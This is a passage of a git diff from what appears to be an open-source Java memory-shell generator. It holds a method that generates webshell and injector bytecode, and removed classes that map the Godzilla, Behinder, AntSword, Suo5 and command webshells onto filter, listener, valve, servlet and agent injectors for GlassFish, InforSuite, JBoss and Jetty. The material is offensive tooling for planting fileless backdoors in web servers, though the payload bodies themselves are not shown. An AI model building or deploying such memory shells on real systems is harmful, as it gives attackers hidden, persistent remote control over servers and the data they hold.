Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
|
||||
// System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
|
||||
// System.out.println(Packers.ScriptEngine.getInstance().pack(generateResult));
|
||||
// Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
|
||||
}
|
||||
}
|
||||
|
||||
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
||||
Server server = shellConfig.getServer();
|
||||
AbstractShell shell = server.getShell();
|
||||
if (shell == null) {
|
||||
throw new IllegalArgumentException("Unsupported server");
|
||||
}
|
||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
|
||||
}
|
||||
|
||||
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
||||
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
||||
}
|
||||
|
||||
Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
|
||||
if (shellInjectorPair == null) {
|
||||
throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
|
||||
}
|
||||
Class<?> shellClass = shellInjectorPair.getLeft();
|
||||
Class<?> injectorClass = shellInjectorPair.getRight();
|
||||
|
||||
shellToolConfig.setShellClass(shellClass);
|
||||
|
||||
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
|
||||
|
||||
injectorConfig = injectorConfig
|
||||
.toBuilder()
|
||||
.injectorClass(injectorClass)
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.shellClassBytes(shellBytes).build();
|
||||
|
||||
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
|
||||
|
||||
return GenerateResult.builder()
|
||||
.shellConfig(shellConfig)
|
||||
.shellToolConfig(shellToolConfig)
|
||||
.injectorConfig(injectorConfig)
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.shellBytes(shellBytes)
|
||||
.injectorClassName(injectorConfig.getInjectorClassName())
|
||||
.injectorBytes(injectorBytes)
|
||||
.build();
|
||||
}
|
||||
|
||||
private static byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||
switch (shellConfig.getShellTool()) {
|
||||
case Godzilla:
|
||||
return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
|
||||
case Command:
|
||||
return CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
|
||||
case Behinder:
|
||||
return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
|
||||
case Suo5:
|
||||
return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
|
||||
case AntSword:
|
||||
return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
|
||||
default:
|
||||
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,104 +0,0 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.glassfish.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.glassfish.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
|
||||
import com.reajason.javaweb.memshell.glassfish.suo5.Suo5Listener;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/12
|
||||
*/
|
||||
public class GlassFishShell extends AbstractShell {
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class));
|
||||
map.put(JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class));
|
||||
map.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class));
|
||||
map.put(JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(Suo5Filter.class, GlassFishFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, GlassFishFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
|
||||
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, GlassFishFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -1,104 +0,0 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
|
||||
import com.reajason.javaweb.memshell.inforsuite.injector.InforSuiteFilterInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
|
||||
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/24
|
||||
*/
|
||||
public class InforSuiteShell extends AbstractShell {
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class));
|
||||
map.put(JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class));
|
||||
map.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class));
|
||||
map.put(JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(Suo5Filter.class, InforSuiteFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, InforSuiteFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
|
||||
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, InforSuiteFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -1,92 +0,0 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
|
||||
import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
|
||||
import com.reajason.javaweb.memshell.jboss.injector.JbossValveInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
|
||||
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
public class JbossShell extends AbstractShell {
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(CommandFilter.class, JbossFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(CommandListener.class, JbossListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(CommandValve.class, JbossValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(GodzillaFilter.class, JbossFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(GodzillaListener.class, JbossListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(GodzillaValve.class, JbossValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(BehinderFilter.class, JbossFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(BehinderListener.class, JbossListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(BehinderValve.class, JbossValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(Suo5Filter.class, JbossFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(Suo5Listener.class, JbossListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(Suo5Valve.class, JbossValveInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, JbossFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, JbossListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(AntSwordValve.class, JbossValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -1,100 +0,0 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.jetty.antsword.AntSwordHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.jetty.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.jetty.behinder.BehinderHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.jetty.command.CommandHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.jetty.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyHandlerAgentInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.suo5.Suo5Listener;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/7
|
||||
*/
|
||||
public class JettyShell extends AbstractShell {
|
||||
public static final String AGENT_HANDLER = AGENT + "Handler";
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(CommandServlet.class, JettyServletInjector.class));
|
||||
map.put(JAKARTA_SERVLET, Pair.of(CommandServlet.class, JettyServletInjector.class));
|
||||
map.put(FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class));
|
||||
map.put(AGENT_HANDLER, Pair.of(CommandHandlerAdvisor.class, JettyHandlerAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(GodzillaServlet.class, JettyServletInjector.class));
|
||||
map.put(JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, JettyServletInjector.class));
|
||||
map.put(FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class));
|
||||
map.put(AGENT_HANDLER, Pair.of(GodzillaHandlerAdvisor.class, JettyHandlerAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class));
|
||||
map.put(JAKARTA_SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class));
|
||||
map.put(FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class));
|
||||
map.put(AGENT_HANDLER, Pair.of(BehinderHandlerAdvisor.class, JettyHandlerAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(Suo5Servlet.class, JettyServletInjector.class));
|
||||
map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, JettyServletInjector.class));
|
||||
map.put(FILTER, Pair.of(Suo5Filter.class, JettyFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, JettyFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, JettyServletInjector.class));
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, JettyFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, JettyListenerInjector.class));
|
||||
map.put(AGENT_HANDLER, Pair.of(AntSwordHandlerAdvisor.class, JettyHandlerAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
